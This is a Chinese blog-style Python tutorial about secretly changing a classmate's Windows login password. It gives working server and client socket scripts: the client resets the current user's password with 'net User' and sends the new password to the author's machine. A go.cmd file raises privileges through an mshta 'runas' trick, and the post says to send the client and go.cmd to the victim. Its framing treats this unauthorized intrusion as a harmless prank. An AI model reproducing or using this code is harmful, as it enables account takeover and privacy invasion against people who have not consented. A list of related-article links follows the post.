Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python os模块中的isfile()和isdir()函数均返回false问题解决方法
Feb 04 Python
python动态网页批量爬取
Feb 14 Python
PyCharm代码整体缩进,反向缩进的方法
Jun 25 Python
python如何制作缩略图
Apr 30 Python
程序员的七夕用30行代码让Python化身表白神器
Aug 07 Python
redis数据库及与python交互用法简单示例
Nov 01 Python
python常用排序算法的实现代码
Nov 08 Python
如何分离django中的媒体、静态文件和网页
Nov 12 Python
python绘制彩虹图
Dec 16 Python
python:目标检测模型预测准确度计算方式(基于IoU)
Jan 18 Python
Python爬虫进阶之爬取某视频并下载的实现
Dec 08 Python
Python入门之使用pandas分析excel数据
May 12 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
set_include_path和get_include_path使用及注意事项
2013/02/02 PHP
php中hashtable实现示例分享
2014/02/13 PHP
ThinkPHP中__initialize()和类的构造函数__construct()用法分析
2014/11/29 PHP
php getcwd与dirname(__FILE__)区别详解
2016/09/24 PHP
原生JS实现Ajax通过POST方式与PHP进行交互的方法示例
2018/05/12 PHP
thinkPHP框架实现的无限回复评论功能示例
2018/06/09 PHP
PHP字符串中抽取子串操作实例分析
2019/06/22 PHP
javascript动画之圆形运动,环绕鼠标运动作小球
2010/07/20 Javascript
jQuery操作input值的各种方法总结
2013/11/21 Javascript
js中window.open()的所有参数详细解析
2014/01/09 Javascript
JS动态加载当前时间的方法
2015/02/09 Javascript
JQuery操作元素的css样式
2015/03/09 Javascript
谈一谈javascript闭包
2016/01/28 Javascript
让编辑器支持word复制黏贴、截屏的js代码
2016/10/17 Javascript
jQuery EasyUi 验证功能实例解析
2017/01/06 Javascript
Vuerouter的beforeEach与afterEach钩子函数的区别
2018/12/26 Javascript
判断文字超过2行添加展开按钮,未超过则不显示,溢出部分显示省略号
2019/04/28 Javascript
jQuery操作元素的内容和样式完整实例分析
2020/01/10 jQuery
jquery轮播图插件使用方法详解
2020/07/31 jQuery
[52:07]完美世界DOTA2联赛PWL S3 LBZS vs access 第二场 12.10
2020/12/13 DOTA
python装饰器使用方法实例
2013/11/21 Python
pymongo给mongodb创建索引的简单实现方法
2015/05/06 Python
Python使用cookielib模块操作cookie的实例教程
2016/07/12 Python
Python基础中所出现的异常报错总结
2016/11/19 Python
在centos7中分布式部署pyspider
2017/05/03 Python
python 用正则表达式筛选文本信息的实例
2018/06/05 Python
python实现遍历文件夹修改文件后缀
2018/08/28 Python
Python批量查询关键词微信指数实例方法
2019/06/27 Python
Python使用pyautocad+openpyxl处理cad文件示例
2019/07/11 Python
opencv3/Python 稠密光流calcOpticalFlowFarneback详解
2019/12/11 Python
windows10环境下用anaconda和VScode配置的图文教程
2020/03/30 Python
浅谈matplotlib 绘制梯度下降求解过程
2020/07/12 Python
python实现感知机模型的示例
2020/09/30 Python
CSS3点击按钮实现背景渐变动画效果
2016/10/19 HTML / CSS
COSETTE官网:奢华,每天
2020/03/22 全球购物
求职信写作要突出重点
2014/01/01 职场文书